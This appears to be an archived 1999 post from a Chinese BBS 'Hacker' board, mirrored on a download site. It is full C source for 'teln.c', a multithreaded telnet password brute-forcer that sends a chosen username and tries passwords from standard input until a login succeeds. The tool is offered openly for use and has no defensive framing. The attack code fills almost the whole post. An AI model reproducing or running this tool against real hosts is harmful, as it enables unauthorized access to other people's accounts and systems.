⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 397.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="315.htm">上一层</a>][<a href="398.htm">下一篇</a>]
<hr><p align="left"><small>发信人: samsa (沙门~屏绝进取,一意著书), 信区: Hacker <br>

标  题: samsa 的登录机-teln.c <br>

发信站: BBS 水木清华站 (Mon Jul  5 08:33:58 1999) <br>

  <br>

/* <br>

 * This file is a part of the samsa-logion Password Tryer <br>

 * Copyright  (c) 1999  by Samsa Hacking Corp. <br>

 */ <br>

  <br>

#include <signal.h> <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

#include <netinet/in.h> <br>

#include <netdb.h> <br>

#include <arpa/telnet.h> <br>

#include <string.h> <br>

#include <unistd.h> <br>

#include <pthread.h> <br>

#include <sys/time.h> <br>

#include <errno.h> <br>

  <br>

#include "rwn.h" <br>

  <br>

  <br>

#define BUFSIZE 100 <br>

#define DOTS <br>

#define MAXBUF 1024 <br>

  <br>

#define S_NON  0 <br>

#define S_NEWL  1 <br>

  <br>

#define S_O  2 <br>

#define S_OG  3 <br>

#define S_OGI  4 <br>

#define S_OGIN  5 <br>

  <br>

#define S_A  11 <br>

#define S_AS  12 <br>

#define S_ASS  13 <br>

#define S_ASSW  14 <br>

#define S_ASSWO  15 <br>

#define S_ASSWOR 16 <br>

#define S_ASSWORD 17 <br>

  <br>

#define MAX_LOGIN 3 <br>

#define MAX_LINE 2 <br>



#define MAX_THREADS     35 <br>

  <br>

char user[256]; <br>

struct hostent *hp; <br>

int debug = 0; <br>

pthread_mutex_t  scanf_mutex = PTHREAD_MUTEX_INITIALIZER; <br>

  <br>

void catchit(void) <br>

{ <br>

    printf("\nCaught SIGPIPE -- your link may be too slow.\n"); <br>

    exit(1); <br>

} <br>

  <br>

void * loop(void *arg); <br>

  <br>

int main(int argc, char *argv[]) <br>

{ <br>

    int i; <br>

    pthread_t tid; <br>

  <br>

    typedef void (*sig_t) (int); <br>

    signal(SIGPIPE,(sig_t)catchit); <br>



  <br>

    if (argc != 3) { <br>

 printf("usage: teln host user\n"); <br>

 exit(1); <br>

    } <br>

  <br>

    if (!(hp = gethostbyname(argv[1]))) { <br>

        printf("unknown host\n"); <br>

        exit(1); <br>

    } <br>

  <br>

    strncpy(user,argv[2],254); <br>

    user[254] = 0; <br>

    strcat(user,"\n"); <br>

  <br>

    for (i=0;i<MAX_THREADS;i++) pthread_create(&tid,NULL,loop,NULL); <br>

  <br>

    for (;;) sleep(100000); <br>

} <br>

  <br>

  <br>

#define RETRY     close(s); retry = 1;goto CNCT; <br>



  <br>

void * loop(void *arg) <br>

{ <br>

    unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \ <br>

    TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \ <br>

    TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO}; <br>

  <br>

    unsigned char c; <br>

    int stat; <br>

    short login_cnt,line_cnt; <br>

    char pass[256] = ""; <br>

  <br>

    struct sockaddr_in sin; <br>

    struct servent * sp; <br>

    int s; <br>

    pthread_t tid; <br>

    int retry = 0; <br>

  <br>

    tid = pthread_self(); <br>

  <br>

CNCT: <br>

    if (!(s = socket(AF_INET, SOCK_STREAM, 0))) { <br>



          printf("no socket(%d)\n",tid); <br>

          return NULL; <br>

    } <br>

  <br>

    bzero(&sin,sizeof(sin)); <br>

    bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length); <br>

    sin.sin_family = AF_INET; <br>

    sp = getservbyname("telnet","tcp"); <br>

    sin.sin_port = sp->s_port; <br>

  <br>

    if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) { <br>

        printf("can't connect to host(%d)\n",tid); <br>

        exit(1); <br>

    } <br>

  <br>

    if (debug) printf("connected to %s(%d)\n",hp->h_name,tid); <br>

    write(s,kludge_telopt,21);   /* kludge some telnet negotiation */ <br>

  <br>

    stat = S_NON; <br>

    login_cnt = 0; <br>

    line_cnt  = -1; <br>

    for (;;){ <br>

    for (;;){ <br>

 int nr; <br>

 fd_set  rset; <br>

 struct  timeval tv; <br>

 int ret; <br>

  <br>

 FD_ZERO(&rset); <br>

 FD_SET(s,&rset); <br>

 tv.tv_sec = 5; <br>

 tv.tv_usec = 0; <br>

 while (ret = select(s+1,&rset,NULL,NULL,&tv)){ <br>

  if (ret == 1) break; <br>

  if (ret == -1) { <br>

   if (errno == EINTR) continue; <br>

   else { <br>

    printf("select error,try again...(%d)\n",tid); <br>

    RETRY <br>

   } <br>

  } <br>

  if (ret == 0) { <br>

   printf("read times out(%d),try again...\n",tid); <br>

   RETRY <br>

  } <br>

  } <br>

 } <br>

 if (FD_ISSET(s,&rset)) nr = read(s,&c,1); <br>

 else { <br>

  printf("select incoherent,try again...(%d)\n",tid); <br>

  RETRY <br>

 } <br>

 if (nr != 1){ <br>

  if (nr < 0){ <br>

   printf("read:%s,try again...(%d)\n",strerror(errno),tid); <br>

   RETRY <br>

  } <br>

  if (nr == 0){ <br>

   printf("net connection closed.try again...(%d)\n",tid); <br>

   RETRY <br>

  } <br>

 } <br>

 if (c == '\n'){ <br>

  if (line_cnt >= 0) line_cnt++; <br>

         if (line_cnt > MAX_LINE){ <br>

   printf("User:%sPassword:%sLogin Successful!(%d)\n",user,pass,tid); <br>

   exit(0); <br>

  } <br>

  } <br>

  stat = S_NEWL; <br>

  continue; <br>

 } <br>

 switch(stat){ <br>

 case S_NEWL: <br>

  if (c == 'o') stat = S_O; <br>

  else if (c == 'a') stat = S_A; <br>

  break; <br>

 case S_O: <br>

  if (c == 'g') stat = S_OG; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_OG: <br>

  if (c == 'i') stat = S_OGI; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_OGI: <br>

  if (c == 'n') stat = S_OGIN; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_A: <br>

  if (c == 's') stat = S_AS; <br>



  else stat = S_NON; <br>

  break; <br>

 case S_AS: <br>

  if (c == 's') stat = S_ASS; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_ASS: <br>

  if (c == 'w') stat = S_ASSW; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_ASSW: <br>

  if (c == 'o') stat = S_ASSWO; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_ASSWO: <br>

  if (c == 'r') stat = S_ASSWOR; <br>

  else stat = S_NON; <br>

  break; <br>

 case S_ASSWOR: <br>

  if (c == 'd') stat = S_ASSWORD; <br>

  else stat = S_NON; <br>

  break; <br>

  break; <br>

 case S_OGIN: <br>

  if (login_cnt > MAX_LOGIN){ <br>

   close(s); <br>

   goto CNCT; <br>

  } <br>

  if (c == ':'){ <br>

   /*if (scanf("%s",user) == EOF){ <br>

    if (debug){ <br>

     printf("\nNo password matched.\n"); <br>

     printf("Login Unsuccessful!\n"); <br>

    } <br>

    exit(1); <br>

   }*/ <br>

   writen(s,user,strlen(user)); <br>

  } <br>

  line_cnt = 0; <br>

  stat = S_NON; <br>

  break; <br>

 case S_ASSWORD: <br>

  if (c == ':'){ <br>

   pthread_mutex_lock(&scanf_mutex); <br>

  <br>

  <br>

   if (!retry){ <br>

    if (scanf("%s",pass) == EOF){ <br>

     printf("No password matched.(%d)\n",tid); <br>

     printf("Login Unsuccessful!\n"); <br>

     exit(1); <br>

    } <br>

   } <br>

   else retry = 0; <br>

  <br>

   pthread_mutex_unlock(&scanf_mutex); <br>

  <br>

   if (debug) printf("pass:%s(%d)\n",pass,tid); <br>

   strcat(pass,"\n"); <br>

   writen(s,pass,strlen(pass)); <br>

  } <br>

  login_cnt++; <br>

  line_cnt = 0; <br>

  stat = S_NON; <br>

  break; <br>

 }   /* end of switch(stat) */ <br>

    }   /* end of for (;;) */ <br>

}   /* end of loop() */ <br>



  <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="315.htm">上一层</a>][<a href="398.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -